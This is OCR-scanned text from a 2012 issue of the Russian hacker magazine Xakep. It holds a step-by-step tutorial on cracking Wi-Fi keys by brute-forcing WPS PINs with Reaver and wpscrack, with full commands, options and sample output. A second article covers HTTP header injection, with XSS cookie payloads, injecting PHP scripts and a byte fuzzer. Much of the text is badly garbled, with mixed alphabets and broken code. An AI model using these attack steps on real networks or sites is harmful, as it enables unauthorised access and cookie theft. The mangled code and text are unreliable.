PossiЫe Massive mail/pass leak http://pastebin.com/LбYbDlЗб

PossiЫe listing of http passwords http://pastebin.com/qZbccMB7 PossiЫe Juniper configuration with password http://pastebin.com/9vuwzjnS

Справедливости ради стоит сказать, что

в последнее время апдейты прекратились. ::х:

017

Page 20: Xakep 03_2012
Page 21: Xakep 03_2012
Page 22: Xakep 03_2012

COVERSTORY

rlal Nc.

01С10С11100003 11111181~IOIIIQII IIНIMНIIIIIIIIIIIII IW IIII

мд, дddre '

COC1C0500D55 , ••••• 11111 1111111

( ;;, 0484-0~ ="--"-.:==~

ЛоrотипWРS РI N -код WPS

Рисунок 1. РIN-код WPS, написанный на корпусе раутера

ЦЕНА УПРОЩЕНИЙ Открытых точек доступа, к которым вообще

не надо вводить ключ для подключения,

становится все меньше и меньше. Кажется, что

скоро их можно будет занести в Красную книгу.

Если раньше человек мог даже и не знать, что

беспроводную сеть можно закрыть ключом,

обезопасив себя от посторонних подключе­

ний, то теперь ему все чаще подсказывают

о такой возможности. Взять хотя бы кастомные

прошивки, которые выпускают ведущие про­

вайдеры для популярных моделей роутеров,

чтобы упростить настройку. Нужно указать две

вещи- логин/па роль и ... ключ для защиты беспроводной сети. Что еще более важно,

сами производители оборудования стараются

сделать процесс настройки незамысловат ым.

Большинство современных раутеров поддер­

живают меха н изм WPS IWi-Fi Pгotected Setupl. С его помощью пользовател ь за считанные

секунды может настроить безопасную беспро­

водную сеть, вообще не забивая себе голову

тем, что «где-то еще нужно включить шифро ­

вание и прописать WРА- ключ». Ввел в системе

восьмизначный символьный PIN, который написан на роутере, - и готово' И вот здесь

держись крепче. В декабре сразу два иссле­

дователя рассказали о серьезных фундамен­

тальных прорехах в протокол е WPS. Э т о как черный ход для любого роутера. Оказалось,

что если в точке доступа активирован WPS !ко­торый, н а минуточку, включ ен в большинстве

раутеров по умолчанию!, то подобрать PIN для подклю~ения и извлечь ключ для подключе­

ния мож.но за считанные часы!

КАК РАБОТАЕТ WPS? Задумка создателей WPS хороша. Механизм автоматически задает имя сети и шифрование.

Таким образом, п ользователю нет н еобходи­

мости лезть в веб - интерфейс и разбираться

со сложными настройками . А к уже настро­

енной сети мож н о без п роблем добавит ь

любое устройство !например, ноут букl: если правильно ввести PIN, то он получ ит все необ­

ходимые настройки. Это очень удобно, поэтому

все крупные игроки на рынке ICisco/L iпksys, Netgeaг, 0- L iпk, B elkiп, Bu ffalo, ZyX ELI сейчас предлагают беспроводные раутеры с поддерж­

кой WPS. Разберемся чуть подробнее. Существует три варианта испол ьзования

WPS: 1. Push-Buttoп - Coппect IPBCI. П ользователь

020

• Coпntct to il Nttwork

Туре the network security key

~(Шit'jkty:

Е] Hidt сlш<~сtш

Yo~r c;1n :~l so conr1tct Ьу pщl1rr1g tl1t bLrttor1 011 tlн• ro~•tt r .

ок ~

Рисунок 2. Окн о для в вода РIN-кода WPS

нажимаетспециальную кнопку на раутере

lхардварнуюl и на компьютере lсофтварнуюl, тем самым активируя процесс настройки.

Нам это неинтересно.

2. Ввод РIN-кода в веб-интерфейсе. Пользо­ватель заходит через бgаузер в админи­

стративны й интерфейс раутера и вводит

там РIN-код из восьми цифр, написанный

на корпусе устройства !рисунок 11, после чегопроисходитпроцесс настройки. Этот

способ подходит скорее для перваначаль­

ной конфигурации роутера, поэтому мы его

рассматриватьтоже не будем .

З . Ввод РIN-кода на компьютере пользовате­

ля !рисунок 21 . При соединении с раутером можно открыть специальную сессию WPS, в рамках которой настроить роутер или

получитьуже имеющиеся настройки, если

правильно ввести Pl N - код. Вот это уже п ри­

влекательно.

Для открытия подобной сессии не нуж-

на никакая аутентификация. Это может

сделать любой желающий! Получается, что

IEEE 802.11

5upplicant--+ АР Authent ication Request

5upplicant- АР Authentication Response

5upplicant--+ АР Association Request

5upplica nt - АР Association Respoпse

IEEE 802.11/ЕАР

5upplicant --+ АР EAPOL·5tar t

5upplica nt - АР EAP-Request ldentity

5upplicant ..... АР EAP·Response ldenti ty

Р IN-код уже потен циально п одвержен ата­

ке типа bгutefoгce. Н о это лишь цветочки.

УЯЗВИМОСТЬ Как я уже заметил ранее, РIN-код состоит

из восьми цифр - следовательно, существует

10л81100 000 0001 вариантов для подбора. Од ­

нако количество вариантов можно существен ­

но сократить. Дело в том, что последняя цифра

РI N-кода представляет собой некую контроль ­

ную сумму, которая высчитывается на осно­

вании семи первых цифр. В итоге получаем

уже 1 ол711 о 000 0001 вариантов. Н о и ЭТО еще не все! Далее в н имательно смотрим на устрой­

ство протокола аутентификации WPS !рисунок 31. Такое ощущение, что е г о специал ьно про­ектировали, ч тобы оставить возможность для

брутфорса. Оказывается, проверка РIN-кода

осущест вляется в два этапа. Он делится на две

равные части, и каждая часть проверяется от­

дельно! Посмотрим на схему :

1. Если после о тсылки сообщения М4 атакую­

щий получил в ответ EAP-NACK, то он может быть уверен, что первая часть РIN-кода

неправильная.

2. Если же он получи л EAP- NACK п осле от­сылки М6, то, соответственно, вторая часть

РIN-код а не в ерна. П олучаем 1 0л411 О 0001 вариантов для первой полови н ы и 10лз 11 0001 для второй. В итоге имеем всего л ишь 11 000 вариа нто в для пол н о го п еребора .

Чтобы лучше понять, как это будет работать,

посмот ри на схему.

3. Важный моме нт- возмож н ая ско р ость

перебора. Она о г ра н и ч ена скорость ю обра ­

ботки раутером WРS - за п росов: од ни то ч ки

доступ а будут в ыда в а т ь резул ьтат каждую

802.11 Authentication

802.11 Association

ЕАР lni t iat ion

(ldenti ty: "WFA-5impleConfig-Registra r-1 ·0')

IEEE 802. 1 1/ЕАР Expanded Туре, Vendor ID: WFA (Ох372А), Vendor Туре: SimpleConfig (Ох01)

М1 En rollee ..... Registra r N1 11 Description 11 РКЕ

М2 Enrollee- Registrar N1 11 N2l l Description 11 РКя 11 Authenticator Diffie·Heltman Кеу Exchange

мз En rollee ..... Regis trar N2ll E·Hash1 11 E·Hash2l l Authent icator

М4 Enrollee - Registra r N 1 11 R-Hash 1 11 R-Hash2 11 Eкevw,.oк.v(R-5 1) 11 proove posession of 15 ha lf of PIN Authenticator

MS Enrollee ..... Reg istrar N2ll Екеуw,.рке/Е-51 ) IIAuthenticator proove posession of 1st hatf of PI N

Мб Enrollee - Registrar N1 11 Екеуw,.рк.у(R-52) II Authenticator proove posession of 2' half of PI N

М7 Enrollee ..... Reg ist ra r N2ll Екеуw,.рк.у(Е-52 IIConfig Data) 11 Authent icator proove posession of 2' half of PIN, send АР configuration

мв Enrollee - Reg istrar N1 11 Eкeywrapкey(Con figData) 11 Authenticator set AP configuration

Рисуно к З . Протокол аутентификаци и WPS

ХАКЕР 03/158/2012

Page 23: Xakep 03_2012

секун ду, д ругие- каждые десять секунд .

Осно вн ое время п ри этом затра ч ивается

нарасчетотк р ыт о гоключапоалгоритму

Диффи -Хеллмана, он долже н быт ь сгенери­

рова н п е р ед шагом МЗ. Затра че н ное на зто

время мож н о ум е н ь шить , вы б рав н а сторо н е

клиента простой секрет н ый кл юч, который

в дальнейurем упрости т р асчеты других

ключей . П рактика показы в ает, чтодл я

ус п е шн о го результа та обы чн о дос т ат оч н о

п еребрать лиш ь п оло в ину всех вариантов,

и в среднем брутфорс занимает всего отче ­

тырех до десят и часов.

ПЕРВАЯ РЕАЛИЗАЦИЯ Первой появившейся реализацией брутфорса

стала утилита wpscгack [goo.gl/9wABj l, на ­

писа нная исследо вателем Стефа н ом Фибё ­

ком на я зыке Pytho n. Ут илита исnользовала библиотеку 5сару, п оз воляющую конструиро­

вать п р оиз вольн ы е сетевые пакеты. Сценарий

мож н о за п ус т ит ь только п од L in u х-системой,

п ред в а ри тельно nе реведя бес п роводной

интерфейс в режим мониторинга. В качест ве

параметров необходимо указат ь имя сетевого интерфейса в сис теме , МАС - адрес бес п ро­

водн о го адаnтера , а также МАС- адр ес то ч ки

доступа и ее название [551 01.

$ ./wpscrack .py --iface mon0 \ --client 94:0с:бd:88 : 00 : 00 \ - -bssid f4:ec:38: cf :00:00 --ssi d t es-

t ap - v sniffer started trying 00000000 attempt took 0.95 trying 00010009 < ... > trying 18660005 attempt took 1.08 trying 18670004 PIN attempt took 1.09 t ry ing 18670011 att empt t ook 1.08

seconds

seconds # found 1st half of

seconds

seconds

< .. . > trying 18674095 PIN < .. . >

# f ound 2st half of

Networ k Кеу: really_really_long_wpa_passphrase_good_ luck_cracki ng_this_one < .. . >

Как видишь, сначала была nодоб рана первая nоловина РIN-кода, затем - вторая,

и в конце концов программа выдала готовый

к использованию ключ для подключения

к беспроводной сети. Сложно п ред с т а в и т ь,

сколько времени потребовалось бы, чтобы

подобрать ключ такой длины [61 символ) ранее существовавшими инструментами.

В п рочем, wpscгack не единственная утилита

для эксплуатации уязвимости, и это довольно

забавный момент: в то же само~ время над

той же самой проблемой работал и другой

исследователь- Крейг Хеффнер иэ компании

Tactical N etwoгk 5olutions. Увидев, что в Сети появился работающий РоС для реализа-

ции атаки, он опубликовал свою ут илиту

Reaveг lcode . g o ogle .com/p/гea veг-wps l. Она н е только автоматизирует процесс п одбора

WP5 -PIN и извлекает Р5К- ключ, но и пред­

ла гает большее количество настроек, чтобы

атаку можно было осуществить против самых

раз н ых раут е ров. К тому же о н а п оддержи в ает

нам н ого большее количество беспроводных

адаптеров. Мы решили взять ее за основу

и подробно описать, как злоумышленник

может использовать уязвимость в протоколе

WP5 для подключения к за щ и щен н ой бес­

проводной сети.

i:I•NIIel Ка к и для любой другой атаки на бес п ровод ­

ную сеть, нам понадобится Linux. Тут надо сказать, что Reaveг присутствует в репазито­

ри и всеми известного дистрибутива B ackTгack

[backtгack- li nux.oгg l , в котором к тому же уже в ключ ены необходимые драйвера для беспро -

ЭКСПРЕСС-КУРС ПО ВЗЛОМУ WI-FI

1. WEP (Wiгed Equivalent Pгivacyl Самая первая технология для защиты бес­

проводной сети оказалась крайне слабой.

Взломать ее можн о буквально за несколько

минут, используя слабости применяемого в ней

шифра RC4. Основными инструментами здесь служат снифер aiгodump-пg для сбора па кетов

и утилита aiгcгack-ng, используемая непосред­

ственно для взлома ключа. Также существует

специальная тулза wesside-пg, которая вообще

взламывает все близлежащие точки с WEP в автоматическом режиме .

2. WPA/WPA2 (Wiгeless Pгotected Access) Перебор-это единственный способ подо-

ХАКЕР 03 /158/ 2012

брать ключ для за к рытой WPA/WPA2 сети [да и то исключительно при наличии дампа так

называемого WPA Haпdshake, который переда ­

ется в эфир при подключении клиента к точке

доступа) . Брутфорс может затянуться на дни, месяцы и годы . Для увеличения эффективно­

сти перебора сначала использовались специа­

лизированные словари, потом были сгенери­

рованы радужные таблицы, позже появились

утилиты, задействовавшие технологии NVIDIA CUDA и ATI 5tгeam для аппаратного ускорения процессаза счет GPU. Используемые инстру­

менты- аiгсгасk-пg ( брутфорс по словарю), cowpatty [с по мощью радужны х та блиц) , pyгit [с использова н ие м видео картыl .

HOWTO: Взломать Wi- Fi за 1 О часо в

Инкремент~уем

2 часть PIN ·~· nepecчиtloiВ88U

контра~ьную сумму

Рисунок 4. Блок-схема брутфорса РIN-кода WPS

водных ус тройств. Позтому ис п ользовать мы

будем именно его.

Шаг О. Готовим систему

На официальном сайт е BackTгack 5 R1 до­ступен для загрузки в виде виртуал ь ной

машины под VMwa гe и загрузочного образа

150. Рекомен дую п осл ед ни й в ари а нт . Мож н о

просто записать об р аз на болва н ку, а мож н о

с помощью программы UNetbootin [ uпetboot i n.

souгcefoгge . net l с дел ать загрузо чную флеш ку: так или ина ч е, за г рузив ш ис ь с тако го носи ­

теля, мы без л и ш них заморачек сразу будем

иметь систему, готовую к работе.

Шаг 1. Вход в систему Л огин и п араль дл я входа по умолча нию ­

гооt:tоо г. О каз а вшись в консол и, можно смел о

старто в ать иксы [ест ь отдельн ые с борки BackTгack - как с GNOME, так и с К ОЕ) :

# st art x

Шаг 2. Установка Reaveг Чтобы загрузи ть R eaveг, нам п о надоб итс я

и нтер н ет. П оэтому п од к л юч аем патчко рд

или настраи ваем бес про вод ной ад а птер

[Applications ~ l nte гn et 7 Wicd N e two г k Man age г l . Дал ее з ап ускаем эмулято р тер ­ми н ала, гд е загружаем п ос л еднюю в е р си ю

у т илит ы ч ерез р е п озиторий :

# apt -get update # apt-get install reaver

Тут надо сказать , ч то в ре п азита р ии н а­

ход и тся в е р сия 1.3, которая ли чн о у ме ня зара ботала н е пр авильн о. П оиска в ин фо р м а ­

цию о проблеме, я наш ел пост а втора, который

рекомендует обновиться до максимал ьно

021

Page 24: Xakep 03_2012

COVERSTORY

возможной версии, скомnилировав исход­

ники, взятые из SVN. Это, в общем, самый универ са льный с n особ установки (для любого дистрибутива !.

$ svn checkout http ://reaver-wps. googlecode .com/svn/ trunk / reaver-wps $ cd ./reaver-wps / src / $ . /configure $ make # make install

Никаких проблем со сборкой nод BackTгack

не будет - nроверено лично . В дистрибутиве

Агсh Linu x, которы м nользуюсь я, установка nроизводится и того nр о ще, благодаря нали­

чию соответ с твую щего PKGBUILD'a:

$ yaourt -5 reaver-wps-svn

Шаг 3. Подготовка к брутфорсу Для исnользования Reaveг необходимо nро­

делать следующие вещи:

nеревести бесnроводно й адаnте р в режим

мониторинга;

• узнать имя бесnроводно го интерфейса;

• узнать МАС-адрес точки достуnа (BSS IDI; • убедиться, что на точке активирован WPS.

Для начала nроверим, что бесnроводной

интерфейс вообще nрисутствует в системе:

# iwconfig

Если в выводе этой команды есть интер­

фейс с оnисанием (обычно это wlanOI- значит, система расnознала адаnтер !если он nодклю­

чалея к бесnроводн ой сети, чтобы загрузить

Reaveг, то лучше обо рвать nодключение!. П ере ведем адаnтер в режим мониторинга:

# airmon-ng start wlan0

Эта команда создает виртуальный интер­

фейс в режиме мониторинга, его название

будет указано в выводе команды (обычно это monOI . Теnерь нам надо найти точку достуnа для ата ки и узнать её BSSID. Восnользуемся утилитой для nрослушки бес n ро в одн ого эфира

aiгodump-ng:

# airodump-ng mon0

На экране nоявится сnисок точек достуnа

в радиусе досягаемости. Нас интересуют точки

с шифрованием WPA/WPA2 и аутентификацией по ключу PSK. Лучше выбирать одну из nер­вых в сnиске, так как для nроведения атаки

желательна хорошая связь с точкой. Если точек

много и сnисок не умещается на экране, то мож­

но восnользоваться другой известн ой утилитой

- kismet, там интерфейс более nрисnособлен в этом nлане. Оnционально _можно на месте nро­

верить, включен ли на нашей точке механизм

WPS. Для этого в комnлекте с Reaveг (но только если брать его из SVNI идет утилита wash :

# ./wash -i mon0

В качестве nараметра задается имя

интерфейса, nереведенного в режим мони­

торинга. Также можно исnользовать оnцию

'-f' и скормить утилите сар-файл, созданный, наnример, тем же aiгodump-ng. По неnонятной

nричине в nакет Reaveг в BackTгack не включи ­

ли утилиту wash. Будем надеяться, к моменту nубликации статьи эту ошибку исnравят.

Шаг 4. Запускаем брутфорс Теnерь можно nристуnать неnосредственно

к nеребору PIN'a. Для старта Reaveг в самом nростом случае нужно немного. Необходимо

лишь указать имя интерфейса (nереведенного

нами ранее в режим мониторинга! и BSSIO точки достуnа:

reaver -1 ~onO -Ь 00:21·29:74:67:50 -с б -е l1nksys -d 15 -vv

Reaver v1.~ W1F1 Protected Setup Attac~ Tool Copyrtght (CI 2011, Tact1cal Network Solutions. Cra1g Heffner ccheffner~tacnetsol.com>

1-1 ~att1ng •or beacon from 00:21·29·7J:67:50 [-] S~I!Chtng ~onO to channel б

1·1 Assoc1зted w1th 00.21:29.74.67:50 1ESSID: 11nksys) !·1 Trv1ng p1n 63979978 [-] т~-y1r1g р111 61889978 [' 1 WARNING· Rece1ve t1meout occurred ·с

reaver -1 ~onO -Ь 00:21:29.74:67:50 -с б -е l1nksys --p1n 64637129 -vv

Reaver v1.~ W1F1 Protected Setup Attack Tool Copyr1ght lcl 2011, Tact1cal Net~ork Solutions, Cra1g Heffner ccheffnerJtacnetsol.com>

•1 Wa1t1ng for beacon from 00:21:29:74:67:50 ·1 Sw1tch1ng monO to channel б

•1 Assoctзted w1th 00:21:29·7J·67:SB (ESSID: l1nksysl •1 Trv1na p1n 64637129 ·1 Кеу cracked 1n 2 seconds •l WPS PIN: '64637129' -1 ~РА PSK· MyHOrseTh1nkSYouStolЗH1sCarrot 1 •

-1 АР SSID: l1nksys 1

Рисунок 5. Пример работы брутфорса Reaver

022

Рисунок 6. Reaver Pro- железка от создателей Reaver

# reaver -i mon0 -Ь 00:21:29:74:67:50 -vv

Ключ "-vv" включает расширенный вывод nрограммы, чтобы мы могли убедиться, что все

работает как надо .

Reaver v1 .4 WiFi Protected Setup Attac k Tool Copyright (с) 2011, Tactical Network Solutions, Craig Heffner <c heffner@ tacnetsol .com> [+] Waiting for beacon from 00:21:29:74:67:50 [+] Associated with 00:21:29:74:67:50 ( ESSID : linksys) [+] Trying pin 63979978

Если nрограмма n оследо вательн о отnрав­

ляет PIN'ы точке достуnа, значит, все завелось

хорошо, и остается туnо ждать . Процесс может

затянуться. Самое короткое время, за которое

мне удалось сбрутфорсить PIN, составило nримерно nять часов. Как только он будет nо­

добран, nрограмма радостно об этом сообщит:

[+] Trying pin 64637129 [+] Кеу cracked in 13654 seconds [ +] WPS PIN: '64637129' [+] WPA PSK: 'MyH0rseThink$You5tol3HisCa rrot!' [+] АР SSID: 'linksys'

Самое ценное здесь- эт о, конечно же,

ключ WPA-PSK, который сразу же можно ис­nользовать для nодключения. В се та к nросто,

что даже не укладывается в голове.

МОЖНО ЛИ ЗАЩИТИТЬСЯ? Защититься от атаки можно nо ка одн им

сnособом- отключить нафиг WPS в настрой­ках роутера. Правда , как оказалось, сд елать

эт о возможно дале ко не всегда . П оскол ьку

уязвимость существует не на уровне реализа­

ции , а на уров не nротокола, ждать от nроиз­

водителей скоро го nатча, который решил бы

все nроблемы, не стоит. Самое большее, что

они могут сейчас сделать, - это максимальн о

nротиводействовать брутфорсу. Наnример,

если блокиро ват ь WPS на один час nосле nяти неудачных nоnыток ввода РIN- кода , то nеребор

займет уже около 90 дней. Но другой в оnрос, насколько быстро можно накатить такой патч

на миллионы устройств , которые работают

по всему миру? :х:

ХАКЕР 03/158/201 2

Page 25: Xakep 03_2012

FAQ

r;t Какой беспроводной адаптер нужен a.l для взлома? n Перед тем как экспериментировать,

18.1 нужно убедиться, что беспроводной адаптер может работать в режиме монито­

ринга . Лучший способ- свериться со спи­

ском поддерживаемого оборудования

на сайте проекта Аiгсгасk-пg ( Ьit.ly/wifi

adapteг list l . Если же встанет вопрос о том, какой беспроводной модуль купить, то

начать можно с любого адаптера на чипсете

RTL8187L . U5В'шные донглы легко найти винтернетеза $20.

1':'1 Почему у меня возникают ошибки

~ "timeout" и "out of огdег"? n Обычно это происходит из-за низкого

18.1 уровня сигнала и плохой связи с точкой доступа. Кроме того, точка доступа может

на время заблокировать использование WP5.

1':'1 Почему при плохом сигнале Reaveг

a.l работает плохо, хотя тот же взлом WEP проходит нормально?

nобычно взлом WEP происходит путем 181 повторной пересылки перехваченных па кетов, чтобы получить больше векторов

инициализации (IVI, необходимых для успешного взлома . В этом случае неважно,

потерялея какой-либо пакет, либо как-то

ПРОКАЧИВАЕМ REAVER

был поврежден по пути. д вот для атаки

на WP5 необходимо строгое следование протоколу передачи па кетов между точкой

доступа и Reaveг для проверки каждого

РIN-кода . Если при этом какой-то пакет

потеряется, либо придет в непотребном

виде , то придется заново устанавливать

WР5-сессию. Это делает атаки на WP5 гораздо более зависимыми от уровня

сигнала. Важно помнить, что если твой

беспроводной адаптер видит точку доступа ,

то это ещё не значит, что и точка доступа

видит тебя . Так что если ты являешься

счастливым обладателем высокомощного

адаптера от ALFA Netwoгk и антенl!ы на пару десятков dBi , то не надейся , что

получится поломать все пойманные точки

доступа .

r;t Почему у меня не работает спуфинг a.l МАС-адреса? ... Возможно, ты спуфишь МАС виртуально-181 го интерфейса mопО, а это работать не будет. Надо указывать имя реального

интерфейса, например, wlaпO .

Reaveг все время посылает точке доступа

один и тот же PIN, в чем дело? Проверь, активирован ли на раутере

WP5. Это можно сделать при помощи ути-

HOWTO: Взломать Wi-Fi за 10 часов

литы wash: запусти её и проверь, что твоя цель находится в списке .

Почему я не могу ассоциироваться

с точкой доступа?

Это может быть из-за плохого уровня

сигнала или потому, что твой адаптер

непригоден для подобных изысканий.

r;1 Почему я постоянно получаю ошибки a.l "гаtе limiting detected"? n Это происходит потому, что точка

181 доступа заблокировала WP5. Обычно это временная блокировка (около пяти минут!, но в некоторых случаях могут влепить и перманентный ба н (разблокировка

только через административную панельl . Есть один неприятный ба г в Reaveг версии

1.3, из-за которого не определяются снятия подобных блокировок . В качестве варюра­

унда предлагают использовать опцию

· --ignoгe-locks' или скачать последнюю

версию из 5VN.

m Можно ли одновременно запустить два и более экземпляров Reaveг для ускорения

атаки?

n Теоретически МОЖНО, НО если ОНИ будут

181 долбить одну и ту же точку доступа, то скоростьперебораедвалиувеличится,таккак

в данном случае она ограничивается слабым

В HOWTO мы показали самый простой и наиболее универсальный способ использования утилиты Reaveг. Однако реализация WP5 у разных производителей отличается, поэтому в некоторых случаях необходима

дополнительная настройка. Ниже я приведу дополнительные опции,

которые могут повысить скорость и эффективность перебора ключа.

5. Некоторые точки доступа могут блокировать WPS на определенное время, заподозрив, что их пытаются поиметь. Reaveг эту ситуацию замечает

и делает паузу в переборе на 315 секунд по умолчанию, длительность этой

паузы можно менять:

1. Можно задать номер канала и 5510 точки доступа:

# reaver -i mопВ -Ь 00 :01:02:03:04:05 -с 11 -е liпksys

2. Благотворно сказывается на скорости брутфорса опция ·--dh-small', которая задает небольшое значение секретного ключа, тем самым облегчая

расчеты на стороне точки доступа:

# reaver -i mопВ -Ь 00:01:02:03:04:05 -vv --dh-small

3. Таймаут ожидания ответа по умолчанию равен пяти секундам . При

необходимости его можно изменить:

# reaver -i mопВ -Ь 00 :01:02:03:04:05 -t 2

4. Задержка между попытками по умолчанию равна одной секунде. Она также может быть настроена:

# reaver -i mопВ -Ь 00:01:02:03:04:05 -d В

ХАКЕР 03 /158/ 20 12

# reaver -i mопВ -Ь 00:01:02:03:04:05 --lock-delay=25B

6. Некоторые реализации протокола WPS разрывают соединение при неправильном РIN-коде, хотя по спецификации должны возвращать особое

сообщение. Reaveг автоматически распознает такую ситуацию, для этого

существует опция · --пасk' :

# reaver -i mопВ -Ь 00:01:02:03:04:05 --пасk

7. Опция '--eap-teгmiпate' предназначена для работы с теми АР, которые

требуют завершения WРS-сессии с помощью сообщения ЕАР FAIL:

# reaver -i mопВ -Ь 00:01:02:03:04:05 --eap-termiпate

8. Возникновение ошибок в WР5-сессии может означать, что АР ограничивает число попыток ввода РIN-кода, либо просто перегружена

запросами . В этом случае Reaveг приостанавливает свою деятельность,

причем время паузы может быть задано с помощью опции ·--fail-wait':

# reaver -i mопВ -Ь 00:01:02:03:04:05 --fail-wait=360

023

Page 26: Xakep 03_2012
Page 27: Xakep 03_2012
Page 28: Xakep 03_2012

COVERSTORY

&lt;script&gt;alert(&quot;Recognize-Security -&quot; +document .cookie ); &lt;/script&gt;&lt; !-- "></head ><body></body></html >

Вообще, в п роцессе аудита исходно го кода веб-приложений

на РНР часто попадаются конструкции вида header( "Location: " .$_GET[ 'backto_url' ]) или даже header( "Location: / index. php?lang=".$_G ET[ 'lang' ]). Если первую еще можно классифициро­вать хотя бы как уяз вимость класса О реп Rediгect, то вторая вроде

бы вообще не является уязвимостью . Опытный читатель заметит,

что здесь в явном виде как раз таки и присутствует ба г типа НТТР

Response Sp li tti ng, н о всё дело в том, ч т о современные версии интерпретатора РНР [начиная с 2006-го года] фильтруют раздели­тели %0 d%0a и препятствуют проведению атаки. Вот это и есть та самая практическая предпосылка, которая заставила меня начать

углубленное изучение данной темы. Поэтом у предлагаю не верить

первому впечатлению о фильтрации в функции headeг[] и разо­

браться с проблемой глубже, ведь, быть может, такую фильтрацию

можно обойти.

ПРОТОКОЛ НТТР Обратимся к переаисточнику [спецификации протокола НТТР] , что­бы понять, какие символы могут служить разделителями заголов­

ков НТТР- ответа. П олный текст спецификации доступен по адресу

Ьit .l y/г9pLL, нас же интересует раздел 6 - Re sponse [ Ьi t .ly/BEAq4 ]. Общая структура НТТР- ответа имеет следующий вид :

Документация RFC-2616 Response = Status-Line; Section 6.1 *(( general-header; Section 4.5 1 response-header; Section 6.2 1 entity-header ) CRLF); Section 7.1 CRLF [ message-body ]; Section 7.2

Из приведенной выше информации ясно, что разделителем

заголо вков является последовательность CRLF, которая также ис­пользуется для отделения тела ответ а от блока заголовков . В URL­кодированном виде CR LF выглядит как %0 D%0A. Именно в таком виде она и используется для проведения классических атак типа

«расщепление запроса». Эти методы хорошо работали до тех пор,

пока интерпретаторы не обзавелись функциями фильтрации CRLF, о которых сейчас и пойдет речь.

ФИЛЬТРАЦИЯ РАЗДЕЛИТЕЛЯ CRLF В РНР Функци я headeг[] [ Ьit .l y/wVbbcd ] широко используется в РНР для передачи заголовков в НТТР-ответе сервера. Чаще всего ее при­

меняют для переадресации пользователей с одной страницы веб­

приложения на другую. Как видно из документации, начиная с в ер-

Browser Single Second Content-Length header header splltter byte

data schema ln Refresh header

Таблица тестирования браузеров на одиночный разделитель, двойной заrоловок длины и Refresh-зaroлoвoк

026

DISCLAIMER

Эта статья не является копией моего доклада на конференции

ZeгoNights, а лишь написана по его мотивам. Помимо материала,

изложенного во время доклада, в статью также вошло оnисание .

дальнейших исследований, посвященных филырации РНР­

функций и механизмам работы браузеров с cookies. Часть доклада, касающаяся уязви мастей, связанных с заражением

кеш а, и smuggling-aтaк, будет изложена в расширенном виде

в следующих выпусках журнала.

сии РНР 4.4.2 и 5.1.2 в этой функции осуществляется фильтрация, которая предотвращает внедрение заголовков и защищает от атак

типа «расщепление ответа>>. Таким образом, начиная с в ерсии РНР

4.4.2 и 5.1.2, приведенный ниже код н е является уязвимым для атак типа <<в недр ение заголовков>> и <<расщепление ответа>>:

c?php header( "Location : / basic/ " .$_GET[ 'redirect ' ] . ".html" ); ?>

В результате попытки проведения таких атак будет вызвана

ошибка типа Waгniпg, примерно такая:

test.php?xxx=bbb%0a%0dNew-Header:ЫaЬla

Warning: Header may not contain more than а single header, new line detected. in test.php оп line 2

Н о давай не будем сразу навешивать ярлыки, а разберемся

в проблеме чуть глубже. Рассмотрим код интерпретатора, который

выполняет фильтрацию разделителя :

/* new line safety check */ char *s = header_line, * е = header_line + header_line_ len, * р;

while (s < е && (р

if ( *(р + 1 ) ==

5 = р + 1 ; continue ;

memchr(s, ' \n' , (е - s)))) { ' 11 *( р + 1 ) == '\t ' ) {

efree(header_line ); sapi_module.sapi_error(E_WARNING, "Header may not

contain more than а single header, new line detected. "); return FAILURE;

Как видно, здесь осуществляется проверка на наличие символа

LF [в URL-кодированном виде выглядит как %Од] . Пр и обнаруже­нии такого символа, после которого стоит что-то кроме табуля-

ции [%09] и пробела [%20], вызывается ошибка. Таким образом, фильтруется н е CRLF, а только LF-байт. Согласно RFC , который мы недавно изучили, всё работает безопасно. Н о предл а гаю не сда­

ваться так быстро и узнать у браузеров, соблюдают ли они RFC в точности? П ервым делом можно проверить, как браузеры воспри­

нимают заголовок с первым пробелом и табуляцией. Для этого на­

пишем простой РНР-скрипт и проверим его под в семи браузерам и :

c?php header( "X-Test1:1 \ r \ n Set-cookie: is1=0K"); header( "X -Test2 :2\ r \ n\ tSet-cookie : is2=0K" ); echo "cscript>alert(document.cookie) </script >" ; ?>

ХАКЕР 03/158/2012

Page 29: Xakep 03_2012

П олучается, только lпtегпеt Ехрlогег понимает куки в таких

хидерах. Таким образом, всего-навсего прочитав RFC и просмот рев

исходник и РН Р и три строки тестово го кода, мы уже выяс н или, как

обойти филырацию функции headeг[J для IE, и существенно рас­ширили область применения большинства уязвимостей, которые

раньше классифи ц иро валис ь т ол ько как О реп Rediгect. Н о небу­

дем останавливаться на дости гнутом и двинемся дальше. Впереди

другие браузеf)Ы и новые идеи.

Да, ч тение исход н ых кодов РНР и рассуждение с точки зрения

здравой логики уже дало с вои п лоды. Мы нашли сnособ внедрения

заголовков для браузера lпteгnet Е хрlогег. Предлагаю не останав­

ливаться на достигн у том и n р одолжить начатое иссл едование, что­

бы попробовать добиться того же и для других браузеров.

Итак, исходники Р Н Р говорят о филырации %0а [\nили LFI. Предnоложим, что сущест вуют какие-то байт ы, которые могут

служит ь разделителями загол овков для браузеров. Дл я nроверки

этого предположения напишем простой фаззер и запустим его под

различными браузерам и. Н аиболее важные куски кода фаззера

nри в едены ниже :

#! / usr / bin/ perl use str i ct ; use warni ngs; use Socket ;

listen SERVER , 1е ;

ту $an sw = "НТТР/1.1 2ее OK\r\n" ; for ($i =e; $i<256;$i++ ){

$an sw.= "Set-cookie: cook-$i=1" .chr($i);

$answ .= "\r\n\r\n<h1>Test splitting bytes</h1>" ;

Фаззер очень простой: с его помощью мы выясняем, может

ли какой-т о один байт [подч ерки ваю, именно одиночный байт,

а не дублет! служить разделителем заголовков в браузерах, как CR LF [%0d%Dal. Для эт о го на сокетах nишем веб - микросервер, ко торый на любой НТТР-за п рос браузера дает от вет, содержащий

х идеры Set-cookie, разделенные каждым из 256 байт по очереди. Соответственно, если какой-то байт срабатывает как разделитель,

поя вляется новый кукис, если же не срабатывает, то к значению

текущего кукисадописывается строка вида <«N>Set-cookie: .. >> . За­

пускаем скрипт, заходим с помощью браузера, считаем количество

проставленн ы х куки, смотрим, какие байты с работали, затем nро ­

буем следующий браузер. П роцедура не очень утомительная, так

как для тестов мы берем только самые популярные браузеры, кото­

рых всего п я т ь :-1. Тем не менее, рекоме ндую тебе самостоятельно модифицировать фаззер хотя бы для автоматизации подсчета куки

и поиска разделителей [исходники фаззера ищи на нашем диске!. Получаются вот такие и нтересные резул ьтаты:

н 8/9 %ed Fi r efo x 7 -Oper a %ed Chrome %ed %ее ( Is sue 95992 fi xed i n re l . 15) Safa r i %ed

Как видно, все браузеры, кроме Fiгefox, воспринимают оди­

